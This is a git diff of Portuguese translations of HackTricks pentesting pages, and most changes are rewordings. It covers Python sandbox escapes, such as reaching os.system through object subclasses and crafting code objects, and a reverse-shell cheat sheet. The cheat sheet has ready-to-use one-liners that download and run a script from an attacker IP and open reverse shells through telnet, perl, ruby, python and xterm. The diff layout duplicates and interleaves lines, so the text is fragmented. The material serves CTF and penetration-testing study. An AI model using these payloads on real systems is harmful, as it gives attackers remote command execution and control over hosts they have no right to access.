Se você pode **declarar uma classe** e **criar um objeto** dessa classe, você pode **escrever/sobrescrever diferentes métodos** que podem ser **acionados** **sem** **precisar chamá-los diretamente**.
|
Se você pode **declarar uma classe** e **criar um objeto** dessa classe, você pode **escrever/sobrescrever diferentes métodos** que podem ser **acionados** **sem** a necessidade de chamá-los diretamente.
|
||||||
|
|
||||||
#### RCE com classes personalizadas
|
#### RCE com classes personalizadas
|
||||||
|
|
||||||
|
@ -256,7 +256,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
||||||
```
|
```
|
||||||
#### Criando objetos com [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
#### Criando objetos com [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||||
|
|
||||||
O principal recurso que as metaclasses nos permitem fazer é **criar uma instância de uma classe, sem chamar diretamente o construtor**, criando uma nova classe com a classe alvo como uma metaclass.
|
A coisa chave que as metaclasses nos permitem fazer é **criar uma instância de uma classe, sem chamar o construtor** diretamente, criando uma nova classe com a classe alvo como uma metaclass.
|
||||||
```python
|
```python
|
||||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||||
# This will define the members of the "subclass"
|
# This will define the members of the "subclass"
|
||||||
|
@ -425,7 +425,9 @@ class_obj.__init__.__globals__
|
||||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||||
```
|
```
|
||||||
## Descubra a Execução Arbitrária
|
[**Abaixo há uma função maior**](./#recursive-search-of-builtins-globals) para encontrar dezenas/**centenas** de **locais** onde você pode encontrar os **globals**.
|
||||||
|
|
||||||
|
## Descobrindo Execução Arbitrária
|
||||||
|
|
||||||
Aqui eu quero explicar como descobrir facilmente **funcionalidades mais perigosas carregadas** e propor exploits mais confiáveis.
|
Aqui eu quero explicar como descobrir facilmente **funcionalidades mais perigosas carregadas** e propor exploits mais confiáveis.
|
||||||
|
|
||||||
|
@ -466,7 +468,7 @@ Por exemplo, sabendo que com a biblioteca **`sys`** é possível **importar bibl
|
||||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||||
```
|
```
|
||||||
Há muitos, e **só precisamos de um** para executar comandos:
|
Existem muitos, e **precisamos apenas de um** para executar comandos:
|
||||||
```python
|
```python
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||||
```
|
```
|
||||||
|
@ -505,7 +507,7 @@ Podemos fazer a mesma coisa com **outras bibliotecas** que sabemos que podem ser
|
||||||
#pdb
|
#pdb
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||||
```
|
```
|
||||||
Além disso, podemos até mesmo pesquisar quais módulos estão carregando bibliotecas maliciosas:
|
Além disso, poderíamos até mesmo pesquisar quais módulos estão carregando bibliotecas maliciosas:
|
||||||
```python
|
```python
|
||||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||||
for b in bad_libraries_names:
|
for b in bad_libraries_names:
|
||||||
|
@ -753,10 +755,10 @@ Verifique também a seguinte página para gadgets que irão **ler informações
|
||||||
## Dissecando Objetos Python
|
## Dissecando Objetos Python
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Se você deseja **aprender** sobre o **bytecode do Python** em profundidade, leia este **incrível** artigo sobre o tópico: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
Se você deseja aprender sobre o bytecode do Python em profundidade, leia este incrível artigo sobre o tópico: [https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Em alguns CTFs, você pode receber o nome de uma **função personalizada onde a flag** está localizada e precisa ver os **detalhes** da **função** para extraí-la.
|
Em alguns CTFs, você pode receber o nome de uma função personalizada onde a flag está localizada e precisa ver os detalhes internos da função para extraí-la.
|
||||||
|
|
||||||
Esta é a função a ser inspecionada:
|
Esta é a função a ser inspecionada:
|
||||||
```python
|
```python
|
||||||
|
@ -787,7 +789,7 @@ get_flag.__globals__
|
||||||
#If you have access to some variable value
|
#If you have access to some variable value
|
||||||
CustomClassObject.__class__.__init__.__globals__
|
CustomClassObject.__class__.__init__.__globals__
|
||||||
```
|
```
|
||||||
[**Veja aqui mais lugares para obter globais**](./#globals-and-locals)
|
[**Veja aqui mais lugares para obter variáveis globais**](./#globals-and-locals)
|
||||||
|
|
||||||
### **Acessando o código da função**
|
### **Acessando o código da função**
|
||||||
|
|
||||||
|
@ -879,7 +881,7 @@ dis.dis(get_flag)
|
||||||
44 LOAD_CONST 0 (None)
|
44 LOAD_CONST 0 (None)
|
||||||
47 RETURN_VALUE
|
47 RETURN_VALUE
|
||||||
```
|
```
|
||||||
Observe que **se você não pode importar `dis` no sandbox do Python**, você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **desmontá-lo** localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode adivinhá-las a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` também indica o deslocamento da variável sendo carregada.
|
Observe que **se não for possível importar `dis` no sandbox do Python**, você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **desmontá-lo** localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode deduzi-las de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` também indica o deslocamento da variável sendo carregada.
|
||||||
```python
|
```python
|
||||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||||
0 LOAD_CONST 1 (1)
|
0 LOAD_CONST 1 (1)
|
||||||
|
@ -994,7 +996,7 @@ mydict['__builtins__'] = __builtins__
|
||||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||||
function_type(codeobj, mydict, None, None, None)()
|
function_type(codeobj, mydict, None, None, None)()
|
||||||
```
|
```
|
||||||
Se não for possível acessar `eval` ou `exec`, você pode criar uma **função apropriada**, mas chamá-la diretamente geralmente falhará com: _constructor not accessible in restricted mode_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar esta função.**
|
Se não for possível acessar `eval` ou `exec`, você pode criar uma **função apropriada**, mas chamá-la diretamente geralmente resultará em falha com: _constructor not accessible in restricted mode_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar esta função.**
|
||||||
```python
|
```python
|
||||||
#Compile a regular print
|
#Compile a regular print
|
||||||
ftype = type(lambda: None)
|
ftype = type(lambda: None)
|
||||||
|
@ -1016,7 +1018,7 @@ Usando ferramentas como [**https://www.decompiler.com/**](https://www.decompiler
|
||||||
|
|
||||||
### Assert
|
### Assert
|
||||||
|
|
||||||
O Python executado com otimizações com o parâmetro `-O` removerá as declarações de assert e qualquer código condicional ao valor de **debug**.\
|
O Python executado com otimizações com o parâmetro `-O` removerá as declarações de assert e qualquer código condicional com base no valor de **debug**.\
|
||||||
Portanto, verificações como
|
Portanto, verificações como
|
||||||
```python
|
```python
|
||||||
def check_permission(super_user):
|
def check_permission(super_user):
|
||||||
|
@ -1039,7 +1041,7 @@ serão contornados
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -1051,7 +1053,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -67,7 +67,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
||||||
```
|
```
|
||||||
## Shell Avançado
|
## Shell Avançado
|
||||||
|
|
||||||
Ao lidar com uma vulnerabilidade de **Execução de Código Remoto (RCE)** em uma aplicação web baseada em Linux, alcançar um shell reverso pode ser obstruído por defesas de rede como regras iptables ou mecanismos complexos de filtragem de pacotes. Em ambientes restritos como esse, uma abordagem alternativa envolve estabelecer um shell PTY (Pseudo Terminal) para interagir com o sistema comprometido de forma mais eficaz.
|
Ao lidar com uma vulnerabilidade de **Execução de Código Remoto (RCE)** em uma aplicação web baseada em Linux, alcançar um shell reverso pode ser obstruído por defesas de rede como regras iptables ou mecanismos complexos de filtragem de pacotes. Em ambientes tão restritos, uma abordagem alternativa envolve estabelecer um shell PTY (Pseudo Terminal) para interagir com o sistema comprometido de forma mais eficaz.
|
||||||
|
|
||||||
Uma ferramenta recomendada para esse fim é o [toboggan](https://github.com/n3rada/toboggan.git), que simplifica a interação com o ambiente alvo.
|
Uma ferramenta recomendada para esse fim é o [toboggan](https://github.com/n3rada/toboggan.git), que simplifica a interação com o ambiente alvo.
|
||||||
|
|
||||||
|
@ -110,7 +110,7 @@ Você só precisa modificar:
|
||||||
* O prefixo e sufixo da sua carga útil (se houver)
|
* O prefixo e sufixo da sua carga útil (se houver)
|
||||||
* A forma como a carga útil é enviada (cabeçalhos? dados? informações extras?)
|
* A forma como a carga útil é enviada (cabeçalhos? dados? informações extras?)
|
||||||
|
|
||||||
Em seguida, você pode apenas **enviar comandos** ou até mesmo **usar o comando `upgrade`** para obter um PTY completo (observe que os pipes são lidos e escritos com um atraso aproximado de 1,3s).
|
Em seguida, você pode simplesmente **enviar comandos** ou até mesmo **usar o comando `upgrade`** para obter um PTY completo (observe que os pipes são lidos e escritos com um atraso aproximado de 1,3s).
|
||||||
|
|
||||||
## Netcat
|
## Netcat
|
||||||
```bash
|
```bash
|
||||||
|
@ -128,7 +128,7 @@ bash -c "$(curl -fsSL gsocket.io/x)"
|
||||||
```
|
```
|
||||||
## Telnet
|
## Telnet
|
||||||
|
|
||||||
Telnet é um protocolo de rede que permite a comunicação com um dispositivo remoto ou servidor usando um terminal virtual. É comumente usado para acesso remoto a servidores e dispositivos de rede para fins de administração e configuração.
|
Telnet é um protocolo de rede que permite a comunicação remota com um dispositivo usando um terminal virtual. É comumente usado para acessar e gerenciar dispositivos de rede, como roteadores e switches.
|
||||||
```bash
|
```bash
|
||||||
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
||||||
|
@ -157,14 +157,12 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke
|
||||||
```
|
```
|
||||||
## Perl
|
## Perl
|
||||||
|
|
||||||
Perl is a high-level, general-purpose, interpreted programming language known for its flexibility and powerful text processing capabilities. It is commonly used for system administration tasks, web development, and network programming. Perl scripts can be used to create powerful one-liners for various tasks, making it a versatile tool for hackers.
|
Perl é uma linguagem de programação amplamente utilizada em hacking ético devido à sua capacidade de manipular strings, realizar operações de rede e executar comandos do sistema. Perl é conhecido por sua flexibilidade e expressividade, tornando-o uma escolha popular para tarefas de scripting durante testes de penetração.
|
||||||
```bash
|
```bash
|
||||||
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||||
```
|
```
|
||||||
## Ruby
|
## Ruby
|
||||||
|
|
||||||
Ruby is a dynamic, open source programming language with a focus on simplicity and productivity. It has an elegant syntax that is easy to read and write. Ruby is often used for web development, automation, and scripting.
|
|
||||||
```bash
|
```bash
|
||||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||||
|
@ -323,7 +321,7 @@ Isso tentará se conectar ao seu sistema na porta 6001:
|
||||||
```bash
|
```bash
|
||||||
xterm -display 10.0.0.1:1
|
xterm -display 10.0.0.1:1
|
||||||
```
|
```
|
||||||
Para capturar o shell reverso, você pode usar (que irá escutar na porta 6001):
|
Para capturar o shell reverso, você pode usar (que estará ouvindo na porta 6001):
|
||||||
```bash
|
```bash
|
||||||
# Authorize host
|
# Authorize host
|
||||||
xhost +targetip
|
xhost +targetip
|
||||||
|
@ -346,9 +344,9 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
||||||
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -359,8 +357,8 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
|
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
